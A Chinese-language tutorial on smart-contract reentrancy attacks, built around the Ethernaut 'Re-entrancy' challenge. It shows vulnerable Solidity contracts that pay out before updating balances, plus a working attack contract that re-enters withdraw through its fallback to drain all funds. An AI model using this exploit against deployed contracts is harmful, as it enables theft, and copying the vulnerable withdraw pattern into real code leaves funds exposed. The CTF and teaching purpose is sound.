智能合约之重入攻击入门
[toc]
前言:最近在看智能合约也是着重的看了下几个重要的漏洞。重入攻击在现实世界中发生的次数貌似也是占有Top10得地位的。
个人也是找了好几篇文章才看懂并理解了重入攻击,这里也详细解释下重入攻击的一些基本的入门点。
重入攻击介绍
简单说:重入攻击可以说是在未退出当前作用函数的情况下,通过一些功能触发了攻击者的回调函数,导致攻击者合约再次从开始进入了函数,并且执行了前面的所有功能。
导致重入攻击我个人暂时只想到了三种原因(如有问题请指正)
- 每个人都可以通过合约调用fallback函数来执行恶意代码实现重入。
- 外部的合约被允许直接或间接使用受害者合约的漏洞函数
-
被攻击合约的逻辑不够规范
重入攻击图示
重入攻击示例
这里借用ETH靶场题目来进行讲解
Re-entrancy
过关条件是拿走合约的所有币,源码:
pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
function() public payable {}
}
首先先分析下整个合约吧,使用了
来防止合约溢出Safemath.sol
- 然后donate函数是public型,作用为捐赠,即把自己的钱捐赠在合约里,同时合约里相应的给他增加记录。
- balanceOF函数为 查询个人在合约里所捐赠的金钱数量。
- 漏洞函数
相当于提款机,但是他的逻辑为先转账后扣钱,而msg.sender.call.value正会触发fallback函数。withdraw
其余的地方就不用多做介绍了。
而我们的攻击思路也很明确。 - 首先转账使得我们在合约里的钱大于任意一个值 就假设我们转2ether把。
- 而后我们手动调用withdraw函数,让他给我们提款1ether这里是满足
的balances[msg.sender]>=amount
- 之后由于withdraw中先对balances[msg.sender]进行判断,然后转账再扣钱,转账时让他调用我们攻击合约中的fallback函数(因为转帐前还没有进行balances[msg.sender]的扣除所以后续重入时候依然满足条件),然后循环进行前一步直至把合约中的款全部提出。
那么写一下攻击合约
contract exp{
address add=0xCb71a4A785EA11Fda2b5f511bAC99760EbEFb667;
Reentrance hack;
function exp() public {
hack=Reentrance(add);
}
function payload() public payable{
hack.donate.value(msg.value)(this);
hack.withdraw(1 ether);
}
function () public payable{
if(address(hack).balance>=1 ether)
hack.withdraw(1 ether);
}
}
按照步骤来
- 首先exp函数来触发合约。
- 然后打payload函数即可payload中先进行donate然后进行withdraw触发漏洞中的fallback
- 我们的fallback就是无函数名的函数然后进行不断的重入直至合约的balance少于1 ether
然后就可以成功的把合约的所有币子提取出来了。
一道例题
感觉好像没和上面的例题差多少不过他的里面的逻辑有点唬人感觉好像没错,但其实还是有重入攻击
contract EtherStore {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}
还是和例题一样的东西又depositFunds进行存储,以及withdraw提款,但是这次明显要比上一个限制条件花哨的多。这一次他限制了以下几点
- 还是限制提款需要比他所存储的要少
- 提款需要小于等于1ether
- 需要此次提款距离上一次提款至少一周的时间。
但是换汤不换药。。。他的时间设置和转账设置依然都是再转账之后才进行
那么还是利用同一个漏洞点进行重入即可。
这里不贴exp了。大家可以自己创建合约玩一玩。
总结
重入攻击的限制条件还是较多 尤其在触发函数和逻辑这里是要求比较多的。
对合约转账的时候,会自动执行fallback函数
如果我们要在合约中通过send()函数接收,就必须定义fallback函数,否则会抛异常。
fallback函数必须增加payable ,否则返回结果都是false。
以上两点也是从之前学习得到的规律